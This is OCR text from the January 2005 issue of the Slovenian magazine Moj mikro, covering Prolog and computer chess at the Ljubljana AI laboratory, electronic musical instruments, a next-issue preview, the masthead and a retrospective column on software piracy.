dejal, saj ne poznam niti enega »resnega« programa izpod »peresa« slovenskih avtorjev ...
Piše : Vojko Mencinger
vojko.mencinger@mojmikro.si

D

rugačen pogled pa se ponuja z drugega
zornega kota − s področja umetne inteligence. A poglejmo najprej malce v
zgodovino.

POZNA 70. LETA

V tem času sem ravno zaključeval študij
elektrotehnike, kjer sem imel en semester priložnost poslušati predavanja dr. Ivana Bratka

Prof. Dr: Ivan Bratko, avtor svetovne uspešnice o prologu
(pri predmetu Zanesljivost), danes rednega
profesorja na Fakulteti za računalništvo in informatiko v Ljubljani in vodjo Laboratorija za
umetno inteligenco. V spominu ga imam predvsem kot profesorja z izjemno jedrnatim izražanjem, brez odvečnih »mašil«. Že takrat sem vedel, da se dr. Bratko ukvarja tudi z raziskovanji
na področju računalniškega šaha. Poznano je
bilo njegovo delo pri analizi končnice trdnjava
proti skakaču. Dr. Bratka pa je bolj kot programiranje šaha zanimala umetna inteligenca. In
tu je našel odlično stičišče s šahom.

PROLOG

Dr. Bratka je pot iz šaha ali prek šaha pripeljala v programski jezik PROLOG – beseda
prihaja iz PROgramming in LOGic − osnovno
orodje za programiranje logičnih procesov. Dejal mi je, da sicer ni avtor tega programa, da je
le nekakšen »pritepenec«. Toda takšne vrste,
ki je resnično vrhunsko zapopadel bistvo simboličnega programiranja in od tod tudi eden od
razlogov za izjemen uspeh njegove knjige PROLOG Programming for Artificial Intelligence. Ta je leta 2001 pri založbi Addison-Wesley
doživelo tretji ponatis – prva izdaja je bila že
leta 1986. Naklada: 100.000 izvodov! Za delo
o specialnem programskem jeziku je to zares izjemna številka. Tudi ruski prevod je imel na-

klado 100.000 izvodov. Delo je prevedeno celo
v japonščino. Protagonisti programskega jezika
prolog so bili v začetku kot verska sekta. V pogosto pretirano pragmatično usmerjenih Združenih državah Amerike so prvi poskusi uvedbe
prologa kaj hitro propadli – prolog ni dajal
pravih učinkov zanje. Zato je Evropa močno
prehitela ZDA v razvoju prologa. Pri tem je pomembno vlogo igrala ameriška samovšečnost,
ki izvira iz slogana »Not invented here«. Američani namreč silno radi podcenjujejo stvari, ki
niso bile odkrite v Ameriki. Ko se pogovarjaš
z dr. Bratkom, imaš občutek, kot da večino situacij, ne le v šahu, tudi nasploh, razumeva z
višjim, simbolnim videnjem. Dejansko te fascinira, kako hitro naredi analizo in ti s preprostimi besedami pove nekaj, kar je za večino nas
smrtnikov zelo zapleteno. Zanimiv je podatek
iz osebne bibliografije dr. Bratka od leta 1970
do 2004, ki vam ga posreduje COBISS (http://
izum.izum.si/bibliografije), in sicer, da je imenovan kar pri 316 različnih delih (kot avtor
knjige, članka, soavtor, mentor ...).

PROLOG ZA PISANJE ŠAHOVSKIH
PROGRAMOV?

Odgovor dr. Bratka je kratek: Ne. Prolog ni
primeren za pisanje šahovskega programa v
celoti. Procesiranje s prologom bi trajalo predolgo. Nekateri deli igre, na primer otvoritev,
so predvsem stvar otvoritvenih knjižnic. V otvoritvi je preveč zahtevno in zamudno pisati
modele, po katerih bi se program ravnal. In
še bi zelo hitro napravil usodno napako, ker
ne bi poznal forsirane variante. So pa pozicije, kjer se Prolog izkaže kot zelo hiter reševalec problemov. Glavni čar prologa je izjemna
kompaktnost programov. Vzemimo matiranje s trdnjavo. To je tudi eden od praktičnih
primerov iz omenjene knjige. Ko vidiš, da je
celoten problem opisan v samo nekaj deset
programskih vrsticah, se začudiš. Vendar stvar
deluje in program zna dati mat v optimalnem
(a ne minimalnem) številu potez. Za podobno
učinkovitost bi v programskem jeziku C++
potrebovali vsaj desetkrat toliko programskih
vrstic!
V poziciji na diagramu program deluje po
osnovnem
načelu
»stiskaj« = omejevanje prostora. Pri
tem mora paziti, da
ne pride do pata. V
začetni poziciji to ni
problem, nastopi pa,
ko je kralj v vogalu.

Program odigra prvo
potezo 1.Te6 in s tem
omeji črnega kralja,
ki ima na voljo samo
8 polj. Kaj hitro uspe
programu matirati črnega kralja. Metoda
»stiskanja« seveda ne
more konkurirati metodi« tabelaričnih zbirk
(tablebase), ki je neke vrste groba sila (brute
force) za končnice z ogromno porabo pomnilniškega prostora.

TEHNIKE ŠAHOVSKEGA
PROGRAMIRANJA

Številni prijemi iz programskega jezika prolog se uporabljajo tudi v računalniškem šahu
(to trditev bi morda lahko tudi obrnili). Naštel bom samo nekatere, o katerih sem se na
kratko pogovarjal v Laboratoriju za umetno
inteligenco na FRI Ljubljana z Aleksandrom
Sadikovim, ki pripravlja doktorsko disertacijo.
Bistvo te je usmerjeno v to, da ti stroj razloži
pozicijo oz., da ti da odgovor na vprašanje: Zakaj je neka poteza najboljša?
Algoritem grobe sile (brute force)
Algoritem, ki preverja vse pozicije v danem
trenutku in jim da predznak 1 (true) ali 0 (false). To je v bistvu dokaj »primitivna« metoda,
ki se uporablja tudi pri dešifriranja gesel ali
ključev DES (Data Encryption Standard).
Algoritem min-max
Ta se uporablja v vseh igrah, kjer sta v igri
dve nasprotni strani. Program deluje tako, da
takrat, ko je sam na potezi, izbere možnost z
oceno »max«, ko pa je na potezi nasprotnik,

pa možnost z oceno »min«. V primeru na sliki
bi tako program izbral pot 5–3–10. Pri šahu se
je pokazalo, da ta metodo ni vedno dobra. Nastal je celo rek, da šahovski programi delujejo
navkljub algoritmu min-max in ne zaradi njega. Temu so rekli »patologija algoritma minmax«.
MOJ MIKRO 1 JANUAR 2005

95

V PRAKSI
računalniki in šah
Algoritem alfa-beta
Lahko ga razumemo kot nekakšno podmnožico algoritma min-max. algoritem alfa-beta
že zelo zgodaj v drevesu variant naredi reze.
Tako silno pohitri izračun, saj številnih variant
sploh ne preračunava.
Preklop s knjižnice na lastno »mišljenje«
To je eden zelo pomembnih kriterijev v
programu. Do kam slepo slediti otvoritveni
knjižnici in kdaj začeti misliti s svojo »glavo«.
Tukaj sploh ne gre za zapisan algoritem, temveč bolj za problem, s katerim se srečujejo tako
programi kot šahisti. Pri šahistih je še dodaten
problem – vrzeli v spominu.

SLOVENSKI
RAČUNALNIŠKI ŠAHOVSKI PROGRAM?

Seveda me je zanimalo, ali obstaja tudi kak
računalniški šahovski program izpod peresa
slovenskih avtorjev. Mag. Sadikov mi je odgovoril, da je pred enim letom skupina štirih diplomantov napravila pravi šahovski program,
ki je po njegovi oceni imel ELO-rating okrog
2100 točk. To je že kar soliden nasprotnik.
Seveda pa bi bilo treba s programom še veliko
delati, da bi prišel na višjo raven.To pa ni bil
namen skupine, saj pri napredku programov
pogosto prihajajo v veljavo takšne stvari, kot
je otvoritvena knjižnica. To pa ni več AI (Artificial Intelligence).

SKLEP

Obisk na FRI Ljubljana v Laboratoriju za
umetno inteligenco je bil zame nekakšen »odklop« za tistih nekaj ur. Odklop od vsakdana,
od gneče, hitenja, množice banalnega ... Nadvse prijeten odklop. Šah in umetna inteligenca
– z roko v roki.
GENS UNA SUMUS



glasbena produkcija

MODERNI GLASBENI INŠTRUMENTI
Zadnjih nekaj let je bolj ali manj jasno, da se je večina komponent zvočnega
studia preselila v računalniške škatlice, bodisi kot orodje za snemanje in
obdelavo zvoka ali kot posnemanje samih glasbil.

KLAVIATURE KOT DELOVNE POSTAJE

Piše : Igor Matičič
igor.maticic@mojmikro.si

T

okrat bomo za spremembo pokukali nekoliko stran od računalniških škatlic, na
področje modernih glasbil. Igranje glasbil
je (in bi moralo ostati) eno najustvarjalnejših dejavnosti na področju glasbe. Seveda ne
bomo govorili o klasičnih ali tradicionalnih glasbilih (to bi bilo primernejše za kako drugo revijo), temveč o nekaterih elektronskih ali drugače
elektrificiranih inštrumentih.
Na tem področju imajo japonski proizvajalci
še vedno eno vodilnih vlog. Roland, Korg in Yamaha so imena, ki jih redno srečujemo že nekaj
desetletij in očitno bo tako še nekaj časa.

ELEKTRONSKI BOBNI

Eno od področij, na katerih prevladujeta Roland in Yamaha, so elektronski bobni. Medtem
ko že nekaj časa veljajo Rolandovi V-Drums za
»pojem« elektronskih bobnov, je Yamaha poslala na trg sistem DTXtreme IIS (električni bobni
z zvočnim modulom). Pripadajoči modul med
drugim vsebuje 1757 zelo realističnih zvočnih
vzorcev in 90 že nastavljenih kompletov bobnarskih zvokov, seveda primernih za vsako vrsto
glasbenega sloga, ki si ga glasbenik zamisli.
Posamezen »boben« (angleško pad) je razdeljen na tri različna igralna območja (da sproži tri
različne vrste zvočnih vzorcev), poleg tega pa ima
poseben krmilnik (rdeč gumb potenciometra),
s katerim lahko bobnar neposredno menjava
zvočne parametre (barva ali višina tona). Podobno so na več igralnih območij razdeljene površine činel. Zvočni bobnarski modul je združljiv
z datotekami WAV,
za razširitev knjižnice zvočnih vzorcev
pa potrebuje kartico
SmartMedia. To je
samo nekaj kapelj v
morju vseh lastnosti
in kakovosti, ki jih
ta bobnarski komplet
ponuja, vendar je kristalno jasno: časi, ko
bil elektronski boben
le monotono stikalo (brez kakršnekoli
dinamike igranja) za
vklop enega zvočnega
vzorca, so že davno
pozabljeni.

Moderni elektronski
bobni Yamaha
DTXtreme IIS

96

MOJ MIKRO 1 JANUAR 2005

Klaviature, sintetizatorji, delovne postaje in
podobne igračke pa so zadevice, kjer se morajo
proizvajalci pri razvoju še posebej potruditi. Dejstvo je namreč, da so njihovi zvoki, generatorji,
zvočni parametri idr. največkrat nadomeščeni z
različnimi računalniškimi programi in tako je
praktično edini fizično nenadomestljivi del ostala kontrolna klaviatura (če odmislimo nekaj nadebudnežev, ki raje tipkajo z miško po klaviaturi
na zaslonu). Kljub temu pa delovna postaja v
obliki klaviature zaenkrat še ne bo izumrla. Zadnjih nekaj let je nekako najopaznejša Korgova
serija Triton in verjetno je model Studio (o katerem smo že pisali) tisti temelj, na katerem se bo
gradila prihodnost delovnih postaj.
Vsak proizvajalec pa mora seveda novemu modelu dodati kakšno novost, sicer ne bi bila dovolj
zanimiva za potencialne uporabnike. Tako je na
primer novost Rolandove nove serije delovnih
postaj Fantom-X vdelani in na zunaj zelo opazen
barvni LCD-monitor. Pravzaprav je treba realno
oceniti, da so tovrstne delovne postaje že od začetka neke vrste glasbeni računalniki, tako da je
bila tovrstna poteza samo še vprašanje časa. Sicer
pa Roland oglašuje svoj izdelek Fantom-X kot
prvo »giga delovno postajo«, saj ob vseh zvočnih nadgradnjah ponuja več kot 1 GB zvočnega
pomnilnika. Veliko za takšno delovno postajo, a
občutno premalo, če gledamo s perspektive uporabnika glasbenoračunalniških programov, kjer
1GB danes ne pomeni prav velike številke.

»TIHA GODALA«

Za sklep še k skupini Yamahinih glasbil Silent
Strings, ki bi morda lahko pripomogla k popularizaciji in modernizaciji klasičnih glasbenih
usmeritev. Ta godala sicer niso namenjena nadomeščanju godal v simfoničnem orkestru
(to se vsaj še nekaj časa ne bo zgodilo),
pač pa manj togim glasbenim zvrstem
(pop, jazz ipd). Videz teh električnih godal je izredno zanimiv (namesto akustičnega telesa je nakazan samo obod), so pa
tudi zelo praktična. Model Silent Bass
je zgled kakovostnega električnega
basa z dvema piezzo pretvornikoma in elektroniko, ki omogoča
neposreden linijski izhod (za priklop na ozvočenje ne potrebuje vmesnega predojačevalnika
signala). Poleg tega je deloma
zložljiv, kar lahko bodočemu
lastniku prihrani marsikatero tegobo. Kdor se je že kdaj ukvarjal
s preprostim prevozom velikega
akustičnega kontrabasa, dobro
razume, katere so te tegobe ...
Yamahin



Silent Bass

NAPOVEDNIK

o čem bomo pisali
v naslednji številki

izhaja vsak prvi torek v mesecu
letnik 21,
številka 1, januar 2005
IZDAJA:
DELO REVIJE, d. d.
Dunajska 5, 1509 Ljubljana
www.delo-revije.si
DIREKTOR: Andrej Lesjak

FEBRUAR 2005

OBOGATENI SPLETNI OGLASI

Vse več spletnih oglaševalskih akcij v Sloveniji temelji na gradnji blagovnih znamk in uporabi obogatenih
spletnih oglasov. Večje oglasne površine ter možnost uporabe multimedijskih in interaktivnih dodatkov dajejo
izdelovalcem naprednih spletnih oglasov veliko kreativne svobode, kar največkrat prinese večjo atraktivnost
oglasov in s tem v večjo odzivnosti uporabnikov, ki jo merimo s stopnjo klikov na oglase.

OMREŽNO DISKOVJE

Velika podjetja, ki za shranjevanje podatkov
v omrežju potrebujejo veliko diskovnega
prostora, že nekaj časa posegajo po rešitvi
NAS – Network Attached Storage. Pri
tem gre za nekakšen omrežni disk, ki za
delovanje ne potrebuje računalnika, saj
ga je treba le priključiti v omrežje. Nekaj
podobnega potrebujejo tudi mala podjetja
in domači uporabniki. Ogledali si bomo, kaj
ponuja slovenski trg na tem področju, kako
uporabne so te omrežne hranilne naprave in
koliko je zanje treba odšteti.

SLOVO OD VHS-a?

V naših dnevnih sobah se dogaja pravcata mala revolucija.
Hišni kino z nepogrešljivim DVD-predvajalnikom je iz prestižnega
objekta poželenja postal dostopen skorajda vsakomur.
DVD-predvajalniki za dobrih deset tisočakov in prostorski
zvok za enako ceno počasi, a zanesljivo izrinjajo dobre
stare videorekorderje s polic nad TV-sprejemniki. Toda ali je
tehnologija VHS res že zrela za odpad? Je prišel čas, ko bomo
VHS-enote začeli množično metati iz naših dnevnih sob? Če
mislite, da je, vam bomo pomagali s tem, da si bomo za vas
ogledali postopke, kako prenesti videokasete na DVD, kako
to narediti in s katerimi napravami. Ogledali si bomo DVDvideorekorderje, kartice za zajem video signala iz VHS-naprave,
orodja za izdelavo DVD-jev in še kaj.

UREDNIŠTVO:
Dunajska 5, 1509 Ljubljana
tel.: (01) 473 82 61
faks: (01) 473 81 69, 473 81 09
e-pošta: mojmikro@delo-revije.si
GLAVNI UREDNIK: Marjan Kodelja
ODGOVORNI UREDNIK: Zoran Banović
POMOČNIKA GLAVNEGA UREDNIKA:
Zlatko Matić in Milan Simčič
UREDNIK: Jaka Mele
UREDNIK FOTOGRAFIJE:
Alan Orlič Belšak
LIKOVNA ZASNOVA: Andrej Mavsar
TEHNIČNI UREDNIK: Andrej Mavsar
REDAKTOR:
Slobodan Vujanović
OGLASNO TRŽENJE:
DELO REVIJE, d. d.
Marketing
Dunajska 5, 1509 Ljubljana
tel.: (01) 473 81 11
faks: (01) 473 81 29
e-pošta: marketing@delo-revije.si
KOLPORTAŽA:
DELO REVIJE, d. d.
Marketing
Dunajska 5, 1509 Ljubljana
tel.: (01) 473 81 20
faks: (01) 473 82 53
NAROČNINE:
DELO REVIJE, d. d.
Marketing
Dunajska 5, 1509 Ljubljana
tel.: (01) 473 81 23, 473 81 24
faks: (01) 473 82 53
e-pošta: narocnine@delo-revije.si
Posamezni izvod stane 980 SIT.

@ Še dobro, da je v tej številki 1, letnika 11 jubilejno zastavljen uvodnik,
kajti vsebina za današnje čase ni kdo ve
kako zanimiva. Povejmo še to, da je bilo
za prvo številko novega letnika treba odšteti 380 SIT in Moj mikro se potem vse
do konca leta 1995 ni podražil. Zdaj pa k
uvodniku…
Napisal ga je Gojko Jovanovič, ki se je
predstavil s podpisom “Preutrujeni honorarec”. Uvodnik pa
je naslovil “Dober dan, poštenje!”
Aha, pisca je gotovo nekaj mučilo! Začnimo brati, da bi
odkrili te muke izpred desetih let… Neverjetno! Preutrujeni
honorarec se je potožil čez “Slovenijo, naše skupno podjetje,
kjer se kraja softvera in druge intelektualne lastnine sploh
ne preganja…” Nasprotno, “A-Softi, B-Softi, C-Softi v tisočerih oglasih ponujajo svoje lopovske storitve”. In zgroženi
uvodničar doda: “Grozljivost takšnega stanja ni v tem, da
nekateri kradejo in so drugi okradeni. Strah nas mora biti
tega, da pri nas nekaterih kriminalnih dejanj kazensko ne
preganjamo. Zakaj si ne bi jutri podobnih pravnih nebes zaslužili, denimo, vlomilci, posiljevalci, morilci?”
Potem se je Gojko Jovanovič spomnil, kako jih je pred
dobrim desetletjem po radijskih valovih tolažil Tomaž Do-

98

MOJ MIKRO 1 JANUAR 2005

micelj, ki je prepeval Saj po novem letu boljše bo. Tudi leta
1994, torej pred desetimi leti, je mlada slovenska oblast
obetala, da bo novi kazenski zakonik že po 1. januarju 1995
povsem drugače ukrepal “zoper nepridiprave, ki se bodo spozabili nad tujo duhovno lastnino”, javni tožilec pa bo moral
“po službeni dolžnosti preganjati tudi softverske pirate”.
Pisec uvodnika seveda ni bil tako naiven, da bi verjel spevu
Tomaža Domicelja in pregonu javnega tožilca. “Črviček dvoma
gloda naprej”, je pravilno napovedal. Gotovo pa še v sanjah
ni predvideval lumparij, ki jih je prineslo naslednjih deset let:
banko SIB, Orion, Dadas, Črni les itd. itd. Pač pa so leta odnesla softver, predstavljen v tej prvi številki novega desetletja:
OS/2(v3)Warp, LINUX (3), Borland Paradox for Windows 5.0,
WordPerfect – Grammatic 5.0, 3D Interior Designer itd. itd.
@ Da vse le ne bo samo črno, naj omenimo dolgo želen
vir, na katerega je opozoril Moj mikro v tej številki. Predstavili so ga (upravičeno) takole: Kar je don perignon med
šampanjci, Hilton med hoteli ali rolls-royce med avtomobili, to je
Encyclopaedia Britannica med enciklopedijami. Ta 225 let star
biser se je namreč pojavil na internetu, in sicer v obliki zadnje, 15. izdaje, ki je v klasični obliki obsegala 32 knjig. In
uredništvo je predstavitev poživilo z objavo poenostavljenega zemljevida dežele, segajoče od Kopra do Murske Sobote.
Vilko Novak Čipči

Naročniki imajo posebne
ugodnosti. Naročite se lahko
pisno (klasična in elektronska
pošta) ali telefonsko. Revijo
boste začeli prejemati po prvem
plačilu od tekoče številke naprej.
Naročnina velja do vašega
preklica.
Naročnina za tujino se poravnava
za eno leto vnaprej in znaša:
70 EUR, 127 USD, 167 AUD.
Za vse informacije v zvezi
z naročanjem edicije smo
na voljo na zgoraj navedenih
telefonskih številkah ali
elektronski pošti.
Nenaročenih besedil in fotografij
ne vračamo.
DIGITALNA OBDELAVA FOTOGRAFIJ
IN OSVETLJEVANJE:
Delo Repro, d. o. o.
Dunajska 5, Ljubljana
TISK: Delo Tiskarna, d. d.
Dunajska 5, Ljubljana
december 2004
natisnjeno
v 8 500 izvodih.